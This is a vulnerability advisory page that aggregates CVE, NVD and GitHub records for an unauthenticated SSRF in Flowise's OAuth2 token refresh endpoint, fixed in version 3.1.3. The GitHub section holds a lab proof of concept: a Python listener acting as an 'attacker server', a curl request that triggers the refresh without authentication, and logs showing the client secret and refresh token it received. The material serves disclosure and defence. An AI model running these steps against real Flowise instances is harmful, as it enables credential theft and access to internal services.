Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 14:20:35 UTC

Source modified

4 Aug 2026 19:52:53 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.

Source published

4 Aug 2026 15:16:44 UTC

Source modified

23 Oct 2026 23:10:00 UTC

Observed here

25 Oct 2026 15:18:51 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### Summary The OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration. ### Details The vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`. Confirmed in runtime code: 1. **Unauthenticated route via whitelist** - `dist/utils/constants.js` includes: - `/api/v1/oauth2-credential/callback` - `/api/v1/oauth2-credential/refresh` - `dist/index.js` auth middleware uses: - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))` - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted. 2. **User-controlled SSRF target** - In refresh handler (`dist/routes/oauth2/index.js`): - loads credential by `credentialId` - decrypts credential data - reads `accessTokenUrl` - executes: - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)` - No `secureAxiosRequest()` / denylist wrapper is used in this path. 3. **Non-blind response reflection** - Response returns: - `tokenInfo: { ...tokenData, ... }` - `tokenData` is the attacker/internal server response body. 4. **Secrets sent to SSRF target** - Request body includes: - `client_id` - `client_secret` - `grant_type=refresh_token` - `refresh_token` ### PoC #### Environment used - `flowiseai/flowise:latest` container (`localhost:3000`) - Attacker server (`localhost:18081`) returning JSON #### Step 1: Start attacker server ```bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json class H(BaseHTTPRequestHandler): def do_POST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUEST_PATH', self.path, flush=True) print('REQUEST_BODY', b, flush=True) self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode()) def log_message(self, fmt, *args): pass HTTPServer(('0.0.0.0', 18081), H).serve_forever() PY ``` #### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action) In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly. Resulting credential ID used in runtime validation: - `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef` #### Step 3: Trigger refresh **without auth** ```bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}' ``` Observed response: ```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echo_len": 76, "has_new_refresh_token": false } } ``` Attacker server logs captured: ```text REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2 ``` This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (`tokenInfo`). ### Impact - **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration. - **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials. - **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - **Technical impact:** - outbound SSRF to attacker/internal targets, - direct leak of `client_secret` and `refresh_token` to SSRF target, - direct response read from target via API response (`tokenInfo`). - **Deployment impact:** - cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Source published

4 Aug 2026 14:20:49 UTC

Source modified

4 Aug 2026 14:41:09 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH